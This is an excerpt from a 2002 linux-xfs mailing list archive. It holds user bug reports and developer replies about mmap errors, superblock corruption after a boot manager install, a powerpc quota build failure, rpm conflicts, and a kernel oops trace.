version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On 2002-08-03 11:12:52-0500, Stephen Lord wrote: > > It says "1 files fixed". That means it found a problem :) > > > > > > % mapcheck foo > > > > 1 files scanned 0 files fixed 0 errors > > > > Now it is already fixed, and finds no error. > > You are right of course, shows what an hour or so on a lawnmower does > for my brain! Does not exhibit the problem on a couple of machines > here. You are really running the kernel you think you are, aren't > you? Linux thunk 2.4.19-xfs #1 Sat Aug 3 12:52:09 CEST 2002 i586 unknown unknown GNU/Linux As I said in my other mail, it takes some trying to get it to produce the error. If I create different files with different sizes in different ways the problem *will* get triggered. I can reproduce it on two machines, one running 2.4.19-xfs (p200mmx, SCSI) and one 2.4.19-rc2-xfs (Athlon XP, IDE). Also of note may be that I'm running it with the ngpt futex patch and the O(1) scheduler patch. Regards, -- Wessel Dankers Change in Earth's rotational speed From owner-linux-xfs@oss.sgi.com Sat Aug 3 10:35:09 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g73HZ9Rw028359 for ; Sat, 3 Aug 2002 10:35:09 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g73HZ9st028358 for linux-xfs-outgoing; Sat, 3 Aug 2002 10:35:09 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from gwyn.tux.org (ident-user@gwyn.tux.org [207.96.122.8]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g73HZ0Rw028328 for ; Sat, 3 Aug 2002 10:35:01 -0700 Received: (from timball@localhost) by gwyn.tux.org (8.9.3/8.9.1) id NAA04683 for linux-xfs@oss.sgi.com; Sat, 3 Aug 2002 13:36:44 -0400 Date: Sat, 3 Aug 2002 13:36:20 -0400 From: Timothy Ball To: Wessel Dankers Subject: Re: The mmap() problem is back Message-ID: <20020803173620.GA2555@gwyn.tux.org> References: <20020803132927.GA576@fruit.eu.org> <9862.1028384103@ocs3.intra.ocs.com.au> <20020803142405.GC576@fruit.eu.org> <1028390577.1131.4.camel@laptop.americas.sgi.com> <20020803160859.GE576@fruit.eu.org> <1028391174.1131.8.camel@laptop.americas.sgi.com> <20020803165941.GF576@fruit.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020803165941.GF576@fruit.eu.org> User-Agent: Mutt/1.5.1i X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Sat, Aug 03, 2002 at 06:59:41PM +0200, Wessel Dankers wrote: > > As I said in my other mail, it takes some trying to get it to produce the > error. If I create different files with different sizes in different ways > the problem *will* get triggered. I can reproduce it on two machines, one > running 2.4.19-xfs (p200mmx, SCSI) and one 2.4.19-rc2-xfs (Athlon XP, IDE). > I was curious about the amount of error on my system mapcheck would find (I just install using the xfs enabled debian netinst cd). Upgraded the kernel immediately to: timball@kundera {74}$ uname -a Linux kundera 2.4.19-rc3-xfs #3 Tue Jul 30 11:19:30 EDT 2002 i686 unknown unknown GNU/Linux running mapcheck in my home directory (probably the busiest as far as creat, unlink goes): --snip--snip--snip-- timball@kundera {113}$ mapcheck Scanning current directory 15608 files scanned 2 files fixed 24 errors --snip--snip--snip-- running mapcheck from / gives: --snip--snip--snip-- root@kundera {145}$ ~timball/bin/mapcheck Scanning current directory 228684 files scanned 5 files fixed 50 errors --snip--snip--snip-- --timball -- GPG key available on pgpkeys.mit.edu pub 1024D/511FBD54 2001-07-23 Timothy Lu Hu Ball Key fingerprint = B579 29B0 F6C8 C7AA 3840 E053 FE02 BB97 511F BD54 From owner-linux-xfs@oss.sgi.com Sat Aug 3 10:54:34 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g73HsYRw028710 for ; Sat, 3 Aug 2002 10:54:34 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g73HsYIk028709 for linux-xfs-outgoing; Sat, 3 Aug 2002 10:54:34 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from smtp3.vol.cz (smtp3.vol.cz [195.250.128.83]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g73HsARw028669 for ; Sat, 3 Aug 2002 10:54:11 -0700 Received: from volny.cz (libereca-92.dialup.vol.cz [212.20.113.92]) by smtp3.vol.cz (8.12.5/8.12.5) with ESMTP id g73Htj4w062429 for ; Sat, 3 Aug 2002 19:55:49 +0200 (CEST) (envelope-from aleaz@volny.cz) Message-ID: <3C3287DC.2000906@volny.cz> Date: Wed, 02 Jan 2002 05:09:00 +0100 From: Ales Komarek User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: invalid XFS SB magic number Content-Type: multipart/related; boundary="------------040208070102020802040504" X-Spam-Status: No, hits=2.3 required=5.0 tests=DATE_IN_FUTURE version=2.20 X-Spam-Level: ** Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --------------040208070102020802040504 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit To whom it may concern, well I compiled and ran the XFS programs but I got the same error message: attempting to find secondary superblock... .................................................................................found candidate secondary superblock... superblock read failed, offset 12884901888, size 2048, ag 4294967295, rval 3 fatal error -- Input/output error I will leave the partition alone for a while; is there any way around it? Is there any other way to extract data from the XFS? Really need any help :( Ales Komarek P.S. How do I find out version of xfs_repair I have currently installed? P.P.S. cfdisk gives me this error message FATAL ERROR: Bad primary partition 1: logical partitions overlap Press any key to exit cfdisk Eric Sandeen wrote: > The userspace programs are at: > ftp://oss.sgi.com/projects/xfs/download/cmd_tars > > but xfsprogs (which contains xfs_repair) is at 2.0.6; I will put out a > newer version in an hour or so. > > if you have trouble with newer xfsprogs, send it back to the list; I > will be out next week. > > -Eric > > On Mon, 2001-12-31 at 20:20, Ales Komarek wrote: > > >> hello, >> sorry that I did not explained the problem better, but I was in time >> pressure; you were right, the boot manager has probably overwritten >> superblock of that FS - possibly the whole program got installed there - >> well, I'll never do stuff like this under pressure again :))) >> >> So I tried XFS managing programs which I found in my system (I have >> Slackware 8.1 kernel 2.4.19-pre10 and XFS patch for this version of >> kernel); >> when I started with XFS I donwloaded some standalone apps too, but >> they are >> stored on that XFS patrition :(( >> >> Here's the outcome of xfs_repair command: >> >> bash-2.05a# xfs_repair /dev/hda3 >> Phase 1 - find and verify superblock... >> bad primary superblock - bad magic number !!! >> >> attempting to find secondary superblock... >> ............................................................................ >> >> .....found candidate secondary superblock... >> superblock read failed, offset 12884901888, size 2048, ag 4294967295, >> rval 3 >> >> fatal error -- Input/output error >> >> ----------------- >> >> Well every other XFS related command said errors concernig that magic >> number, for example xfs_db: >> >> bash-2.05a# xfs_db /dev/hda3 >> xfs_db: unexpected XFS SB magic number 0xc4a11da3 >> xfs_db: >> >> -------------------- >> >> Please, if this can be fixed, can you give URL to that utils; because >> I'm >> still quite new to Linux and I have not got familiar with directory >> structures of it yet :)) >> >> Thanks a lot for any help; >> >> sincirely your's Ales Komarek >> >> ----- Original Message ----- >> From: "Eric Sandeen" >> To: "Ales Komarek" >> Cc: >> Sent: Friday, August 02, 2002 3:40 PM >> Subject: Re: problem with XFS SB magic number >> >> >> >> >>> The original problem is almost certainly that your boot manager put >>> something on block zero of your xfs partition; this is where the xfs >>> superblock lives, so it was corrupted. >>> >>> What version of xfsprogs do you have? I'll make sure the ftp site has >>> the latest version packaged up; you should get the latest if you don't >>> have it already. >>> >>> If you send the output of your xfs_repair run, that might offer some >>> hints. >>> >>> -Eric >>> >>> On Mon, 2001-12-31 at 19:51, Ales Komarek wrote: >>> >>> >>>> To whom it may concern, >>>> well I have 2 disks on my machine - one for MS Windows - primary slave >>>> and other for Linux - primary master (3 partitions; one ext2; 2nd swap >>>> and third XFS for data) I have installed XOSL (boot manager) on >>>> Windows >>>> HDD and after that during booting pure linux XFS SB magic number error >>>> occured; I have already uninstalled XOSL, but it did not helped at >>>> all; >>>> the should be no physical errors on disk, but when I tried xfs_repair; >>>> it found secondary Super block but it was corrupted and the program >>>> ended with an I/O error; >>>> >>>> Please is there any way how to correct this? >>>> >>>> Yours sincirely Ales Komarek >>>> >>> >>> -- >>> Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs >>> sandeen@sgi.com SGI, Inc. 651-683-3102 >>> >>> >>> >> --------------040208070102020802040504-- From owner-linux-xfs@oss.sgi.com Sat Aug 3 15:49:26 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g73MnQRw032455 for ; Sat, 3 Aug 2002 15:49:26 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g73MnQfC032454 for linux-xfs-outgoing; Sat, 3 Aug 2002 15:49:26 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from hob.slb.nwc.acsalaska.net (hob.slb.nwc.acsalaska.net [209.112.155.42]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g73MnFRw032423 for ; Sat, 3 Aug 2002 15:49:15 -0700 Received: from erbenson.alaska.net (228-pm16.nwc.alaska.net [209.112.141.228]) by hob.slb.nwc.acsalaska.net (8.11.6/8.11.6) with ESMTP id g73Movq93621 for ; Sat, 3 Aug 2002 14:50:57 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id B3C913A0A for ; Sat, 3 Aug 2002 14:50:56 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 6A34010293; Sat, 3 Aug 2002 14:50:56 -0800 (AKDT) Date: Sat, 3 Aug 2002 14:50:56 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: 2.4.19 with split patches fails to build quota on powerpc Message-ID: <20020803145056.A25690@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="AhhlLboLdkugWU4S" Content-Disposition: inline User-Agent: Mutt/1.2.5i X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --AhhlLboLdkugWU4S Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable This may not be the right place to report this, but... on powerpc the following occurs: gcc -D__KERNEL__ -I/usr/local/src/linux-2.4.19/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -D__powerpc__ -fsigned-char -msoft-float -pipe -ffixed-r2 -Wno-uninitialized -mmultiple -mstring -nostdinc -I /usr/lib/gcc-lib/powerpc-linux/2.95.4/include -DKBUILD_BASENAME=3Ddquot -DEXPORT_SYMTAB -c dquot.c dquot.c: In function `hashfn': dquot.c:182: `L1_CACHE_SHIFT' undeclared (first use in this function) dquot.c:182: (Each undeclared identifier is reported only once dquot.c:182: for each function it appears in.) dquot.c:183: warning: control reaches end of non-void function make[3]: *** [dquot.o] Error 1 make[3]: Leaving directory `/usr/local/src/linux-2.4.19/fs' make[2]: *** [first_rule] Error 2 make[2]: Leaving directory `/usr/local/src/linux-2.4.19/fs' make[1]: *** [_dir_fs] Error 2 AFAICT L1_CACHE_SHIFT is not defined for the powerpc arch (only alpha, mips64, s390, i386 and ia64 define it). the offending line is: static inline int const hashfn(struct super_block *sb, unsigned int id, int type) { return((((unsigned long)sb>>L1_CACHE_SHIFT) ^ id) * (MAXQUOTAS - ty= pe)) % NR_DQHASH; } this changed somewhere between -rc3 and the final 2.4.19 (rc3 was fine). --=20 Ethan Benson http://www.alaska.net/~erbenson/ --AhhlLboLdkugWU4S Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1MXlAACgkQJKx7GixEevyCDACcDHYnF+9auHDk6lFzR2IBlwjZ 8GYAoIxZooyFGAN7Bu/B1GU8khAXsm64 =tcP+ -----END PGP SIGNATURE----- --AhhlLboLdkugWU4S-- From owner-linux-xfs@oss.sgi.com Sat Aug 3 18:43:51 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g741hpRw001251 for ; Sat, 3 Aug 2002 18:43:51 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g741hpkC001250 for linux-xfs-outgoing; Sat, 3 Aug 2002 18:43:51 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from brainstem.idcomm.com (brainstem.idcomm.com [207.40.196.12]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g741hiRw001222 for ; Sat, 3 Aug 2002 18:43:45 -0700 Received: from idcomm.com (IDENT:MlF0WJH1lvT82DmKQ8kVxtug0NDDhp7w@tnt01-ppp-113.idcomm.com [216.98.194.113]) by brainstem.idcomm.com (8.11.6/8.11.6) with ESMTP id g741jTL16564 for ; Sat, 3 Aug 2002 19:45:29 -0600 X-Spam-Filter: check_local@brainstem.idcomm.com by digitalanswers.org Message-ID: <3D4C8776.3050700@idcomm.com> Date: Sat, 03 Aug 2002 19:46:30 -0600 From: "D. Stimits" Reply-To: stimits@idcomm.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc3) Gecko/20020528 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "XFS: linux-xfs@oss.sgi.com" Subject: rpm bookkeeping Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I just did a cvs update to 2.4.19, from 2.4.19-rc2. Apparently the cmd rpms are the same version, without any changes. Even so, I did a make cmd and ran "rpm -Uvh *" on the i386 subdirectory, most simply said the package was already installed (correct behavior I presume). When it got to dmapi-2.0.5-0, it seemed to not know itself. Every file in dmapi-2.0.5-0 (and dmapi-devel-2.0.5-0) said something similar to: file /lib/libdm.so.0.0.4 from install of dmapi-2.0.5-0 conflicts with file from package dmapi-2.0.5-0 file /usr/include/xfs/dmapi.h from install of dmapi-devel-2.0.5-0 conflicts with file from package dmapi-devel-2.0.5-0 file /usr/lib/libdm.a from install of dmapi-devel-2.0.5-0 conflicts with file from package dmapi-devel-2.0.5-0 file /usr/lib/libdm.la from install of dmapi-devel-2.0.5-0 conflicts with file from package dmapi-devel-2.0.5-0 So this is harmless, but having dependencies in the rpm fail could end up causing some mystery behavior at a later date, when it does matter. Somehow it thinks the two same versions are different conflicting versions. D. Stimits, stimits AT idcomm.com From owner-linux-xfs@oss.sgi.com Sat Aug 3 20:02:45 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7432jRw002282 for ; Sat, 3 Aug 2002 20:02:45 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7432jV3002281 for linux-xfs-outgoing; Sat, 3 Aug 2002 20:02:45 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from 21cn.com ([61.140.60.248]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7432ZRw002253 for ; Sat, 3 Aug 2002 20:02:36 -0700 Received: from 21cn.com([10.2.1.1]) by 21cn.com(AIMC 2.9.5.2) with SMTP id jm83d4cfea0; Sun, 04 Aug 2002 11:03:24 +0800 Received: from oss.sgi.com([127.0.0.1]) by 21cn.com(AIMC 2.9.5.2) with SMTP id jmc13d480865; Wed, 31 Jul 2002 17:03:01 +0800 Received: from oss.sgi.com([128.167.58.27]) by 21cn.com(AIMC 2.9.5.1) with SMTP id jm363d48177f; Wed, 31 Jul 2002 17:03:01 +0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g6V92NRw014941; Wed, 31 Jul 2002 02:02:23 -0700 Received: from localhost (mail@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) with SMTP id g6V92MTe014940; Wed, 31 Jul 2002 02:02:22 -0700 X-Authentication-Warning: oss.sgi.com: mail owned process doing -bs Received: by oss.sgi.com (bulk_mailer v1.13); Wed, 31 Jul 2002 02:02:08 -0700 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g6V928Rw014879 for ; Wed, 31 Jul 2002 02:02:08 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g6V9289D014878 for linux-xfs-outgoing; Wed, 31 Jul 2002 02:02:08 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from smtpzilla2.xs4all.nl (smtpzilla2.xs4all.nl [194.109.127.138]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g6V920Rw014849 for ; Wed, 31 Jul 2002 02:02:01 -0700 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla2.xs4all.nl (8.12.0/8.12.0) with ESMTP id g6V93ThC019016; Wed, 31 Jul 2002 11:03:29 +0200 (CEST) Message-Id: <4.3.2.7.2.20020731105914.0335e828@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 31 Jul 2002 11:01:56 +0200 To: Dirk Munzinger , Eric Sandeen From: Seth Mos Subject: Re: xfs-filesystem is broken after rsync Cc: linux-xfs@oss.sgi.com In-Reply-To: <3D47A2A7.4030709@sem-gmbh.com> References: <3D46A2E4.8050106@sem-gmbh.com> <1028040131.2511.1.camel@stout.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Level: X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk At 10:41 31-7-2002 +0200, Dirk Munzinger wrote: >Hi Eric, > >Eric Sandeen schrieb: >>On Tue, 2002-07-30 at 09:29, Dirk Munzinger wrote: >>Hi Dirk - >>Take a look in your logs, I'm guessing that the filesystem shut down for >>some reason. (disk error, memory corruption, etc.) Anything that >>happens after that would result in the symptoms you're describing. If >>there's anything interesting in the logs, please forward that to the >>list. > >If have tested now with an reiserfs partition without any problems and now >with an xfs partition and here is the error again (as described already). >The only log I get in /var/log/message is Can you give me a overview of the hardware this is running on? Can you also list what other patches are applied to this kernel beside the ipsec patches? >Is it possible to provide more logs from xfs itselfe and if so how ? You would need KDB to be compiled in for that. The developers can help you with how to use it. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Sun Aug 4 05:02:08 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g74C28Rw010809 for ; Sun, 4 Aug 2002 05:02:08 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g74C2850010808 for linux-xfs-outgoing; Sun, 4 Aug 2002 05:02:08 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from batleth.sapienti-sat.org (batleth.sapienti-sat.org [213.61.61.242] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g74C1qRw010780 for ; Sun, 4 Aug 2002 05:01:52 -0700 Received: from localhost (unknown [127.0.0.1]) by batleth.sapienti-sat.org (Postfix) with SMTP id D85CA10073E for ; Sun, 4 Aug 2002 13:27:18 +0200 (CEST) Received: from warp9.sapienti-sat.org (pD9EB0C2D.dip.t-dialin.net [217.235.12.45]) by batleth.sapienti-sat.org (Postfix) with ESMTP id 99BA9100729 for ; Sun, 4 Aug 2002 13:27:18 +0200 (CEST) Received: from localhost (localhost.sapienti-sat.org [127.0.0.1]) by warp9.sapienti-sat.org (Postfix) with SMTP id 7390EB1 for ; Sun, 4 Aug 2002 13:27:15 +0200 (CEST) Received: from koschikode.com (kaplah.sapienti-sat.org [192.168.200.15]) by warp9.sapienti-sat.org (Postfix) with ESMTP id 6C5DAA7 for ; Sun, 4 Aug 2002 13:27:14 +0200 (CEST) Message-ID: <3D4D0F91.4070404@koschikode.com> Date: Sun, 04 Aug 2002 13:27:13 +0200 From: Juri Haberland Organization: totally unorganized User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) Gecko/20020510 X-Accept-Language: de-DE, en MIME-Version: 1.0 To: "XFS: linux-xfs@oss.sgi.com" Subject: Re: rpm bookkeeping References: <3D4C8776.3050700@idcomm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=1.3 required=5.0 tests=MAY_BE_FORGED version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk D. Stimits wrote: > I just did a cvs update to 2.4.19, from 2.4.19-rc2. Apparently the cmd > rpms are the same version, without any changes. Even so, I did a make > cmd and ran "rpm -Uvh *" on the i386 subdirectory, most simply said the FWIW: better use 'rpm -Fhv *.rpm'. '-U' would install every rpm that is currently not installed or older. '-F' just updates currently installed rpms if newer versions are available. Cheers, Juri From owner-linux-xfs@oss.sgi.com Sun Aug 4 09:20:07 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g74GK7Rw012779 for ; Sun, 4 Aug 2002 09:20:07 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g74GK7ch012778 for linux-xfs-outgoing; Sun, 4 Aug 2002 09:20:07 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g74GJ5Rw012735 for ; Sun, 4 Aug 2002 09:19:06 -0700 Received: from online.no (81.80-202-103.nextgentel.com [80.202.103.81]) by mail.broadpark.no (Postfix) with ESMTP id 21CD27D82 for ; Sun, 4 Aug 2002 18:20:48 +0200 (MEST) Message-ID: <3D4D52AA.A85DD8A0@online.no> Date: Sun, 04 Aug 2002 18:13:31 +0200 From: Knut J Bjuland X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-5custom i686) X-Accept-Language: en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: problem with filemap.c bug at 247 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I have a redhat linux 2.4.18-5 kernel with xfs support version 1.1. When using either wine or vmware I am able to get this error. There are no alternation to the code except by changeing touch_page to mark_page_accessed and using maplist in pagebuf.c and pagebuf_io.c ksymoops 2.4.5 on i686 2.4.18-5custom. Options used -V (default) -k /proc/ksyms (default) -l /proc/modules (default) -o /lib/modules/2.4.18-5custom/ (default) -m /boot/System.map-2.4.18-5custom (default) Warning: You did not tell me where to find symbol information. I will assume that the log matches the kernel and modules that are running right now and I'll use the default options above for symbol resolution. If the current kernel and/or modules do not match the log, you can get more accurate output by telling me the kernel version and where to find map, modules, ksyms etc. ksymoops -h explains the options. Jul 30 10:44:03 knut kernel: kernel BUG at filemap.c:247! Jul 30 10:44:03 knut kernel: invalid operand: 0000 Jul 30 10:44:03 knut kernel: CPU: 0 Jul 30 10:44:03 knut kernel: EIP: 0010:[truncate_complete_page+27/96] Tainted: PF Jul 30 10:44:03 knut kernel: EIP: 0010:[] Tainted: PF Using defaults from ksymoops -t elf32-i386 -a i386 Jul 30 10:44:03 knut kernel: EFLAGS: 00213282 Jul 30 10:44:03 knut kernel: eax: 0000001d ebx: c10c0a28 ecx: 00000001 edx: 00006a33 Jul 30 10:44:03 knut kernel: esi: 00000000 edi: 00000000 ebp: ca467a34 esp: ca969d74 Jul 30 10:44:03 knut kernel: ds: 0018 es: 0018 ss: 0018 Jul 30 10:44:03 knut kernel: Process vmware (pid: 2730, stackpage=ca969000) Jul 30 10:44:03 knut kernel: Stack: c02bf77b 000000f7 c10c0a28 c01298d7 c10c0a28 00000000 00000001 ca969dbc Jul 30 10:44:03 knut kernel: 00000000 5251504f 56555453 5a595857 00000000 00000000 ca969dbc 00000000 Jul 30 10:44:03 knut kernel: ca467a34 c012995b 00000000 00000000 00000000 ca467aa4 cf660750 c01d1874 Jul 30 10:44:03 knut kernel: Call Trace: [truncate_list_pages+439/512] truncate_list_pages [kernel] 0x1b7 Jul 30 10:44:03 knut kernel: Call Trace: [] truncate_list_pages [kernel] 0x1b7 Jul 30 10:44:03 knut kernel: [] truncate_inode_pages [kernel] 0x3b Jul 30 10:44:03 knut kernel: [] xfs_itruncate_start [kernel] 0x74 Jul 30 10:44:03 knut kernel: [] xfs_setattr [kernel] 0x7a9 Jul 30 10:44:03 knut kernel: [] poke_blanked_console [kernel] 0xa Jul 30 10:44:03 knut kernel: [] linvfs_setattr [kernel] 0x165 Jul 30 10:44:03 knut kernel: [] notify_change [kernel] 0x5e Jul 30 10:44:03 knut kernel: [] do_truncate [kernel] 0x46 Jul 30 10:44:03 knut kernel: [] do_munmap [kernel] 0x27c Jul 30 10:44:03 knut kernel: [] sys_ftruncate [kernel] 0x129 Jul 30 10:44:03 knut kernel: [] sys_ioctl [kernel] 0x223 Jul 30 10:44:03 knut kernel: [] system_call [kernel] 0x33 Jul 30 10:44:03 knut kernel: Code: 0f 0b 5a 59 8b 43 30 85 c0 74 0e 6a 00 53 e8 a2 ff ff ff 5a >>EIP; c01296db <===== >>ebx; c10c0a28 <_end+c8528c/104cc864> >>edx; 00006a33 Before first symbol >>ebp; ca467a34 <_end+a02c298/104cc864> >>esp; ca969d74 <_end+a52e5d8/104cc864> Trace; c01298d7 Trace; c012995b Trace; c01d1874 Trace; c01e75d9 Trace; c02127aa Trace; c01f61d5 Trace; c014e49e Trace; c0138d66 Trace; c0128f0c Trace; c0139079 Trace; c01478a3 Trace; c0108913 Code; c01296db 00000000 <_EIP>: Code; c01296db <===== 0: 0f 0b ud2a <===== Code; c01296dd 2: 5a pop %edx Code; c01296de 3: 59 pop %ecx Code; c01296df 4: 8b 43 30 mov 0x30(%ebx),%eax Code; c01296e2 7: 85 c0 test %eax,%eax Code; c01296e4 9: 74 0e je 19 <_EIP+0x19> c01296f4 Code; c01296e6 b: 6a 00 push $0x0 Code; c01296e8 d: 53 push %ebx Code; c01296e9 e: e8 a2 ff ff ff call ffffffb5 <_EIP+0xffffffb5> c0129690 Code; c01296ee 13: 5a pop %edx Jul 30 10:44:27 knut kernel: kernel BUG at filemap.c:247! Jul 30 10:44:27 knut kernel: invalid operand: 0000 Jul 30 10:44:27 knut kernel: CPU: 0 Jul 30 10:44:27 knut kernel: EIP: 0010:[truncate_complete_page+27/96] Tainted: PF Jul 30 10:44:27 knut kernel: EIP: 0010:[] Tainted: PF Jul 30 10:44:27 knut kernel: EFLAGS: 00213282 Jul 30 10:44:27 knut kernel: eax: 0000001d ebx: c113cf08 ecx: 00000001 edx: 00007020 Jul 30 10:44:27 knut kernel: esi: 00000000 edi: 00000000 ebp: cc04e7b4 esp: c7cb5d74 Jul 30 10:44:27 knut kernel: ds: 0018 es: 0018 ss: 0018 Jul 30 10:44:27 knut kernel: Process vmware (pid: 2739, stackpage=c7cb5000) Jul 30 10:44:27 knut kernel: Stack: c02bf77b 000000f7 c113cf08 c01298d7 c113cf08 00000000 00000001 c7cb5dbc Jul 30 10:44:27 knut kernel: 00000000 5251504f 56555453 5a595857 ffffff00 00000000 c7cb5dbc 00000000 Jul 30 10:44:27 knut kernel: cc04e7b4 c012995b 00000000 00000000 00000000 cc04e824 c6509e20 c01d1874 Jul 30 10:44:27 knut kernel: Call Trace: [truncate_list_pages+439/512] truncate_list_pages [kernel] 0x1b7 Jul 30 10:44:27 knut kernel: Call Trace: [] truncate_list_pages [kernel] 0x1b7 Jul 30 10:44:27 knut kernel: [] truncate_inode_pages [kernel] 0x3b Jul 30 10:44:27 knut kernel: [] xfs_itruncate_start [kernel] 0x74 Jul 30 10:44:27 knut kernel: [] xfs_setattr [kernel] 0x7a9 Jul 30 10:44:27 knut kernel: [] poke_blanked_console [kernel] 0xa Jul 30 10:44:27 knut kernel: [] linvfs_setattr [kernel] 0x165 Jul 30 10:44:27 knut kernel: [] notify_change [kernel] 0x5e Jul 30 10:44:27 knut kernel: [] do_truncate [kernel] 0x46 Jul 30 10:44:27 knut kernel: [] do_munmap [kernel] 0x27c Jul 30 10:44:27 knut kernel: [] sys_ftruncate [kernel] 0x129 Jul 30 10:44:27 knut kernel: [] sys_ioctl [kernel] 0x223 Jul 30 10:44:27 knut kernel: [] system_call [kernel] 0x33 Jul 30 10:44:27 knut kernel: Code: 0f 0b 5a 59 8b 43 30 85 c0 74 0e 6a 00 53 e8 a2 ff ff ff 5a >>EIP; c01296db <===== >>ebx; c113cf08 <_end+d0176c/104cc864> 